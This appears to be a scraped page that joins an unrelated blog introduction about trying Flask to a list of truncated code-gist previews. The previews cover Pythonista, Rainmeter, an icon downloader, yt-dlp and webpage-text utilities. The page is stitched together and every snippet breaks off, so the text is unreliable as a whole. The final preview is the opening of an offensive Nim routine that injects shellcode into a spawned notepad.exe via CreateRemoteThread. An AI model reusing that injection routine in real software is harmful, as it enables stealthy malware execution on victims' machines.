Flask is a Python web framework that's steadily increasing in popularity within the webdev world. After reading so many great things about Flask, I decided to try it out myself. I personally find testing out a new framework difficult, because you must find a project complex enough to reveal the framework's quirks, but not so daunting as to take the fun out of the project. Luckily, my PHP/Wordpress powered website filled this role quite nicely - the website simply consists of static content, a contact page, and a blog. If I could not convert such a simple site over to Flask, I would immediately know that Flask and I would not make a good team.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding: utf-8 | |
from objc_util import * | |
NSAKDeserializer = ObjCClass('NSAKDeserializer') | |
NSAKDeserializerStream = ObjCClass('NSAKDeserializerStream') | |
NSAKSerializer = ObjCClass('NSAKSerializer') | |
NSAKSerializerStream = ObjCClass('NSAKSerializerStream') | |
NSAbstractLayoutGuide = ObjCClass('NSAbstractLayoutGuide') | |
NSAddressCheckingResult = ObjCClass('NSAddressCheckingResult') | |
NSAffineTransform = ObjCClass('NSAffineTransform') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include "../../API/RainmeterAPI.h" | |
struct ACCENTPOLICY { | |
int nAccentState; | |
int nFlags; | |
int nColor; | |
int nAnimationId; | |
}; | |
struct WINCOMPATTRDATA { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os,requests | |
icons = requests.get('http://pastebin.com/raw/b5fdkNp9').content.splitlines() | |
if not os.path.exists('./icons'): | |
print("Creating ./icons") | |
os.mkdir('./icons') | |
for i, icon in enumerate(icons): | |
##print('{0}\r'.format("Downloaded: "+str(i+1)+"/"+str(len(icons))+" images")), ##Python 2.7 | |
##print("Downloaded: "+str(i+1)+"/"+str(len(icons))+" images", end="\r"), ##Python 3.x | |
img_data = requests.get(icons[i]).content | |
with open("./icons/icon"+str(i)+".png", 'wb') as handler: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!python3 | |
''' | |
Directions: | |
- install yt-dlp via Pip (e.g. using (StaSh)[https://github.com/ywangd/stash] - `pip install yt-dlp`) | |
- add this script as a Share extension through Settings -> Share Extension Shortcuts | |
- while watching a video in the YouTube site or app, just share the video to Pythonista and select this script | |
- the video will download, and when it's done you can share the video file itself with any app (e.g. VLC) | |
Advanced usage: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# import 'pythonista' | |
# -*- coding: utf-8 -*- | |
"""Copy WebPage Text | |
A Pythonista script that works from the sharesheet or the clipboard to copy the text from a webpage to the clipboard. If you have copy a URL and run this script, it will open the URL from your clipboard. | |
""" | |
import os | |
import re | |
import sys | |
import appex |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# With special thanks to byt3bl33d3r for Offensive Nim! | |
import winim/lean | |
import osproc | |
import base64 | |
import sequtils | |
import strutils | |
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = | |
let tProcess = startProcess("notepad.exe") |